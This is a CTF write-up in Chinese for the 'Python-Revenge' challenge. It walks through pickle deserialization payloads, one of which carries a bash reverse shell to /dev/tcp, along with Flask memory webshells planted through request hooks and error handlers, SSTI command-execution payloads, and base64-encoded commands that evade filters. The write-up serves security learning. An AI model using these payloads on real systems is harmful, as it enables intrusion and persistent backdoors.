一、题目
题目:Python-Revenge
题目描述:
二、WriteUp
1 . 功能探测
这道题也是python unserialize,是myfavorpython的revenge
同理还是需要python反序列化去打
2 . payload模板如下,只需要更改cmd的内容
import pickle
import os
import base64
import pickletools
cmd = "__import__(\"os\").popen('bash -c \"/bin/bash -i >& /dev/tcp/ip/port 0>&1\"').read()"
class A ( object ) :
def __reduce__ ( self) :
return ( eval , ( cmd, ) )
a= A( )
b= pickle. dumps( a)
print ( base64. b64encode( b) )
pickletools. dis( b)
3 . 观察python源码
pythonweb flask框架
4 . 初识flask
import flask
print( flask.__version__)
pip show flask
from flask import Flask
app = Flask( __name__)
@app.route( '/' )
def hello_world( ) :
return 'Hello, World!'
if __name__ == '__main__' :
app.run( debug= True)
from flask import Flask
app = Flask( __name__)
def index_new( ) :
return f'<h1>这是首页1!</h1>'
app.add_url_rule( rule= '/index1' , view_func = index_new)
if __name__ == '__main__' :
app.run( debug= True)
add_url_rule需要的参数更多,但是使用更灵活,不需要和函数绑定在一起
也是falsk version1.0之前版本的内存马的核心函数
但是从Flask 1.0 版本开始,应用程序处理其第一个请求后会冻结,这意味着任何对路由和视图函数的更改将不会被应用一致地,并且可能引发AssertionError异常。add_url_rule方法不再能够去动态注册路由
5 . flask内存马新方法app.after_request_funcs.setdefault
from flask import Flask, request, make_response
import os
app = Flask( __name__)
@app. route ( '/e' )
def e ( ) :
if request. args. get( 'cmd' ) :
a = eval ( request. args. get( 'cmd' ) )
else :
a = False
if a :
return "1"
else :
return "0"
if __name__ == '__main__' :
app. run( debug= True )
当我们访问下述路径,成功弹出calc.exe
http://127.0.0.1:5000/e?cmd= __import__( "os" ) .popen( 'calc.exe' ) .read( )
( 1 ) before_request 是一个装饰器,它用于在请求处理之前执行特定的函数。
这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等。
其底层源码调用self.before_request_funcs.setdefault( None, [ ] ) .append( f) ,其作用为:
检查 self.before_request_funcs 字典中是否有一个键为 None 的条目。
如果没有 None 键,就在字典中创建它,并将其值设置为一个空列表。
然后,无论 None 键是否存在,都将函数 f 添加到这个列表中。
http://127.0.0.1:5000/e?cmd= app.before_request_funcs.setdefault( None, [ ] ) .append( lambda: "123" )
最终使http://127.0.0.1:5000/e这个路由增加了一个函数,lambda:"123" ,最终会返回123,但是lambda必然会有返回值,会影响正常的请求过程。
( 2 ) 使用@app.after_request,与@app.before_request类似,after_request会在请求结束得到响应包之后进行操作,查看底层源码可以看到其调用方法和before_request类似
self.after_request_funcs.setdefault( None, [ ] ) .append( f) 传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象。
但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。
访问对应的url为http://127.0.0.1:5000/e?cmd= app.after_request_funcs.setdefault( None, [ ] ) .append( lambda resp: CmdResp if request.args.get( 'cmd_we' ) and exec( 'global CmdResp;CmdResp=make_response(os.popen(request.args.get(\' cmd_we\ ')) .read( )) ') == None else resp)
lambda resp:
CmdResp if request.args.get( 'cmd_we' ) and
exec( '
global CmdResp; #定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\' cmd_we\ ')) .read( )) ') == None
else resp
然后我们访问http://127.0.0.1:5000/e?cmd_we= calc.exe就可以成功弹出计算器,还不影响正常业务
6 . python ssti模板注入
from flask import Flask, request, render_template_string
app = Flask( __name__)
@app. route ( '/' )
def hello_world ( ) :
person = 'knave'
if request. args. get( 'name' ) :
person = request. args. get( 'name' )
template = '<h1>Hi, %s.</h1>' % person
return render_template_string( template)
if __name__ == '__main__' :
app. run( )
ssti模板注入的原理可以理解为通过控制传入模板的变量进行注入,当模板渲染时会执行传入的python代码,获取最终变量的值
payload基本模型:
url_for.__globals__[ '__builtins__' ] [ 'eval' ] ( python代码,全局变量)
from flask import Flask, request, render_template_string, url_for
app = Flask( __name__)
@app. route ( '/' )
def hello_world ( ) :
print ( url_for)
print ( url_for. __globals__)
print ( url_for. __globals__[ '__builtins__' ] )
if __name__ == '__main__' :
app. run( )
http://127.0.0.1:5000/?name= { { url_for.__globals__[ '__builtins__' ] [ 'eval' ] ( "__import__('os').system('calc.exe')" ) } }
7 . ssti注入+app.after_request_funcs.setdefault
url_for. __globals__[ '__builtins__' ] [ 'eval' ] (
"app. add_url_rule(
'/shell' ,
'shell' ,
lambda : __import__ ( 'os' ) . popen( _request_ctx_stack. top. request. args. get( 'cmd' , 'whoami' ) ) . read( )
)
",
{
'_request_ctx_stack' : url_for. __globals__[ '_request_ctx_stack' ] ,
'app' : url_for. __globals__[ 'current_app' ]
}
)
第二个参数是一个字典,表示eval( ) 函数执行时的全局命名空间。这个字典中包含了两个变量_request_ctx_stack和app
_request_ctx_stack是Flask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app
jinja2是不知道全局变量的,所以要传递给它
http://127.0.0.1:5000/?name= { { url_for.__globals__[ '__builtins__' ] [ 'eval' ] ( "app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\" global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\" )==None else resp)" ,{ 'request' :url_for.__globals__[ 'request' ] ,'app' :url_for.__globals__[ 'current_app' ] } ) } }
jinja2.exceptions.UndefinedError: 'dict object' has no attribute 'current_app'
感觉是jinja2的版本更新无法使用这个current_app属性了,我当前用的是jinja2 Version: 3.1 .3
from flask import Flask, request, render_template_string, current_app
app = Flask( __name__)
@app. context_processor
def inject_current_app ( ) :
return dict ( current_app= current_app)
@app. route ( '/' )
def hello_world ( ) :
person = 'knave'
if request. args. get( 'name' ) :
person = request. args. get( 'name' )
template = '<h1>Hi, %s.</h1>' % person
return render_template_string( template)
if __name__ == '__main__' :
app. run( debug= True )
http://127.0.0.1:5000/?name= { { url_for.__globals__[ '__builtins__' ] [ 'eval' ] ( "app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\" global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\" )==None else resp)" ,{ 'request' :url_for.__globals__[ 'request' ] ,'app' :current_app} ) } }
http://127.0.0.1:5000/?cmd= ipconfig
8 . 观察题目源码
由于这道题是反序列化直接eval,所以不需要去做ssti注入,只需要我们在原路由上注册一个函数就可以,可以发现这里过滤掉了before和after,不能进行app.before和app.after函数添加了
import os
import pickle
import base64
class A ( ) :
def __reduce__ ( self) :
return ( eval , ( "__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('whoami').read())" , ) )
a = A( )
b = pickle. dumps( a)
print ( b)
print ( base64. b64encode( b) )
9 . 再找其他钩子函数,teardown_request
app.teardown_request_funcs.setdefault( ) 是 Flask 应用程序对象的方法,用于注册在请求处理结束时执行的函数。如果在请求处理期间发生异常或者请求处理结束后需要进行清理工作,可以使用 teardown_request 函数来实现。
app.teardown_request_funcs.setdefault( None, [ ] ) .append( f)) 同理before_request和after_request
但是f函数需要接收一个error,然后去处理error
app.teardown_request_funcs.setdefault( None, [ ] ) .append( lambda error: os.system( base64.b64decode( 'Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=' ) .decode( )) )
base64的数据为:cat flag.txt > /app/static/flag.txt,这里base64编码是过滤掉了第二个对static的过滤
然后去访问static/flag.txt即可拿到flag
import pickle
import base64
class Exp ( object ) :
def __reduce__ ( self) :
return ( eval , ( "app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))" , ) )
a = Exp( )
print ( pickle. dumps( a) )
print ( base64. b64encode( pickle. dumps( a) ) )
10 . 官方wp给的erro_handle方法
每次app启动的时候,会调用到register_error_handler来进行初始化的设置
跟进源码找到了app.error_handler_spec[ None] [ code] [ exc_class] 可以设置handle的回调函数
import os
import pickle
import base64
class A ( ) :
def __reduce__ ( self) :
return ( exec , ( "global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(base64.b64decode('Y2F0IGZsYWcq').decode()).read()" , ) )
a = A( )
b = pickle. dumps( a)
print ( base64. b64encode( b) )
global exc_class; global code; - 这两行代码声明了两个全局变量 exc_class 和 code,以便在后续的代码中使用。
exc_class, code = app._get_exc_class_and_code( 404 ) ; - 这行代码调用了 app._get_exc_class_and_code( ) 方法,传入参数 404 ,并将返回的结果赋值给变量 exc_class 和 code。这个方法的作用是获取与给定的 HTTP 状态码(404)相关联的异常类和错误代码。
app.error_handler_spec[ None] [ code] [ exc_class] = lambda a:__import__( 'os' ) .popen( 'whoami' ) .read( ) ",) - 这行代码修改了应用程序的错误处理器,将其设置为一个匿名函数。这个函数调用了 os.popen( ) 方法执行系统命令 'whoami' ,并读取输出结果。换句话说,它尝试执行命令 'whoami' 并返回执行结果。( 覆盖了原有的404处理函数返回页面)
成功后既可以访问不存在的路径得到flag
三、总结
1 . 学习研究python flask框架
2 . 学习研究python flask内存马
本质的原理是注册函数,或者是覆盖函数
( 1 ) add_url_rule是在增加路由的基础上注册函数
( 2 ) before_request/after_request/teardown_request都是在原路由上注册函数
( 3 ) error_handle是在原有函数上覆盖函数
3 . python ssti模板注入,之后要学习phpweb、javaweb、goweb的ssti模板注入
四、参考链接
1 . python反序列化学习
https://blog.csdn.net/weixin_62808713/article/details/130048382
2 . Python Flask内存马的另辟途径
https://xz.aliyun.com/t/14421?time__1311= mqmx9QD%3D0%3Di%3DLx05DIYYIp6EK6ge7KDCDPD
3 . Python内存马分析
https://xz.aliyun.com/t/10933?time__1311= mq%2BxB70QD%3D9xlxGgrDyiDcQ0mPtrmWoD& alichlgref = https%3A%2F%2Fxz.aliyun.com%2Ft%2F14421%3Ftime__1311%3Dmqmx9QD%253D0%253Di%253DLx05DIYYIp6EK6ge7KDCDPD
4 . 浅析python内存马
https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/
5 . python flask上下文管理机制
https://www.cnblogs.com/fengchong/p/10256552.html
6 . pythonweb flask开发应用
https://blog.csdn.net/weixin_69884785/article/details/134700929
7 . flask内存马
https://blog.csdn.net/solitudi/article/details/115331388
8 . add_url_rule( ) 方法
https://blog.csdn.net/xujin0/article/details/97372499
9 . 浅谈flask ssti 绕过原理
https://xz.aliyun.com/t/8029?time__1311= n4%2BxuDgDBAeDqxCqx0vw3oG8iS7RD3bD
10 . 第二届黄河流域网络安全技能挑战赛Web_wirteup
https://www.cnblogs.com/F12-blog/p/18187951
11 . 官方wp
https://mp.weixin.qq.com/s?__biz= MjM5Njc1OTYyNA== & mid = 2450786867 & idx = 1 & sn = cee2073ef77588f330719782639a34ad& chksm = b104fb1486737202453265d49c7e3f1d9e7007a55668d0591ad1d8a5dc29e4394d7fbdb1ec49& mpshare = 1 & scene = 23 & srcid = 0514WktkQ2XUSpj4CMgKMofJ& sharer_shareinfo = 8b1f821b450c89f5e16e90e56651c024& sharer_shareinfo_first = 8b1f821b450c89f5e16e90e56651c024